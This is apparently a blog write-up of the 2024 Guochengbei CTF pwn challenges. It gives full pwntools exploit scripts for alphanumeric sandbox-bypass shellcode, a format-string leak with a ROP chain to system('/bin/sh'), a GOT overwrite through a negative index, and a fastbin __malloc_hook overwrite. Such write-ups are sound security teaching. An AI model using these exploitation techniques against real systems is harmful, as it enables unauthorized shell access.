2024国城杯wp

tools源码

https://zikh26.github.io/posts/ad411136.html#debug

Alpha_Shell

题目是一个可见字符shellcode,限制0x150字节,题目开启沙箱,禁用了open,read,write和execve,选择openat和sendfile读出flag,使用alpha3工具生成可见字符的shellcode,

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from tools import*
# from ae64 import AE64
context(arch='amd64',log_level='debug')
p,e,libc=load("./alpha","125.70.243.22:31040")
debug(p,"pie",0x15AF)
p.recvuntil("go!")

shellcode="Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4s3c2D0x3j3d2s1K3p3b2D1M0I3q2K0a2L4M0r000J7L2v1o130U2s0y3T3F118L4w0z4t3f2I8M4J1L1L8O2Z113r7o0O1O1M8M7n8N380y4z3f7M13311M0H3q7M4p4D0q0y194L1L3d400R7k0q03"

p.send(shellcode)

p.interactive()
# shellcode='''
# xor rax,rax
# add rax,0x41
# add rax,0x60
# add rax,0x60
# xor r10,r10
# push r10
# mov rdi,0x67616c662f010101
# push rdi
# mov rsi,rsp
# inc rsi
# inc rsi
# inc rsi
# xor rdi,rdi
# xor rdx,rdx
# syscall
# xor rdi,rdi
# inc rdi
# mov rsi, rax
# xor rdx, rdx
# xor r10,r10
# add r10,0x40
# xor rax,rax
# add rax,40
# syscall
# '''

Offensive_Security

ida打开程序,发现一个login函数,无法看到login函数的内部,ida打开程序附带的lib2shell.so可以看到login,vuln等函数的内部逻辑,login函数中有一个格式化字符串漏洞,可以用来泄露栈中存储的反转后的password,和libc基地址,

通过password的判断后,程序进入到vuln函数中,vuln函数创建两个线程,一个执行checker函数,一个执行guess函数,向两个函数都输入1后,checker函数返回到shell,有一个栈溢出,用泄露的libc地址,布置system(“/bin/sh”)的rop链即可,执行system时遇到了栈对齐,在rop前加一条ret指令即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from tools import*
context(arch='amd64',log_level='debug')
p,e,libc=load("./offensive","125.70.243.22:31457")
libc=ELF("./libc.so.6")
lib2=ELF("./lib2shell.so")

def reverse_bytes_32(addr):
byte_array = addr.to_bytes(4, byteorder='big')
reversed_byte_array = byte_array[::-1]
reversed_addr = int.from_bytes(reversed_byte_array, byteorder='big')
return reversed_addr
pop_rdi=0x0000000000400661
ret=0x0000000000400462
debug(p,0x400613)
p.recvuntil("Username:")
p.send("%13$p%6$p")

p.recvuntil("0x")
passwd=int(p.recv(8),16)
passwd=reverse_bytes_32(passwd)
log_addr("passwd")
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-0x21b780
log_addr("libc_base")

p.recvuntil("password:")
p.send(p32(passwd)+p32(passwd))
p.recvuntil("code:")
p.sendline(b'1')
p.sendline(b'1')
p.recvuntil("success!")
payload=b'a'*0x28+p64(ret)+p64(pop_rdi)+p64(libc_base+next(libc.search("/bin/sh\x00")))+p64(libc.sym['system']+libc_base)
p.sendline(payload)

p.interactive()

beverage store

题目没有开启pie,RELRD没有开全,可以改got表,题目首先要求输入id和id authentication code,后一个会和一个随机数进行比较,如果不一样结束程序,gdb调试几次后发现,这个随机数是固定的,可以通过这个if判断,然后进入buy函数,首先输入v0,但是只限制了v0的上界为4,下界没有限制,可以去改存储在section之下的got表,第一次改exit的got表为buy函数,实现循环,第二次执行buy函数,选一个内部是libc地址的got表不改变其内容,通过程序的

puts(&section[16 * v0]);泄露出其中的libc地址,然后第3次改printf的got表为system,第4次改exit的got表为程序的后门vuln函数,getshell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from tools import*
context(arch='amd64',log_level='debug')
p,e,libc=load("./store","125.70.243.22:31457")

p.sendafter("id",b'\xff'*0x10)
p.sendlineafter("code:",str(0xf31db3b))
p.recvuntil("wine")
p.sendline(str(-4))
p.recvuntil("choose")
p.send(p64(0x40133b))
p.recvuntil("wine")
p.sendline(str(-5))
p.recvuntil("choose")
p.send("a")
p.recvuntil("\x65\x64\x0a")
libc_base=u64(p.recv(6).ljust(0x8,b'\x00'))-0x81561
log_addr("libc_base")
debug(p,0x4013fc)
p.recvuntil("wine")
p.sendline(str(-7))
p.recvuntil("choose")
p.send(p64(libc_base+libc.sym['system']))

p.recvuntil("wine")
p.sendline(str(-4))
p.recvuntil("choose")
p.send(p64(0x401511))

p.interactive()

vtable_hijack

2.23堆,题目存在uaf,并且edit不限制字节,

申请一个0x500的chunk,和几个0x60的chunk,

通过释放0x500的chunk,落入unsorted bin,然后show,得到其中的libc地址

然后释放两个0x60的chunk,修改后一个进入fastbin的chunk的fd为malloc_hook-0x23,然后把malloc_hook申请出来,改malloc_hook为one_gadget,再申请一个chunk,成功getshell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from tools import*
context(arch='amd64',log_level='debug')
# p,e,libc=load("./heap")
# p=process("./pwn")
p=remote("125.70.243.22",31464)
e=ELF("./pwn")
libc=ELF("./libc.so.6")
def add(idx,size):
p.sendlineafter("choice:",b'1')
p.sendlineafter("index:",str(idx))
p.sendlineafter("size:",str(size))
def free(idx):
p.sendlineafter("choice:",b'2')
p.sendlineafter("index:",str(idx))
def edit(idx,size,content):
p.sendlineafter("choice:",b'3')
p.sendlineafter("index:",str(idx))
p.sendlineafter("length:",str(size))
p.sendlineafter("content:",content)
def show(idx):
p.sendlineafter("choice:",b'4')
p.sendlineafter("index:",str(idx))

add(10,0x500)
add(0,0x60)
add(1,0x60)
add(2,0x60)
add(3,0x60)

free(1)
free(2)
free(10)
show(10)

gadgets=[0x3f3e6,0x3f43a,0xd5c07]
libc_base=u64(p.recv(6).ljust(0x8,b'\x00'))
libc_base=u64(p.recv(6).ljust(0x8,b'\x00'))-0x39bb78
log_addr("libc_base")
malloc_hook=libc_base+libc.sym['__malloc_hook']-0x23

edit(2,0x10,p64(malloc_hook)*2)
add(4,0x60)
add(5,0x100)
add(5,0x100)
add(5,0x100)
add(5,0x100)
add(5,0xc0)
add(6,0x60)
edit(6,0x100,b'a'*0x13+p64(gadgets[2]+libc_base))
add(10,0x10)
debug(p)

p.interactive()

2024国城杯wp
https://pfwqdxwdd.github.io/2024/12/07/国城杯wp/
作者
pfwqdxwdd
发布于
2024年12月7日
许可协议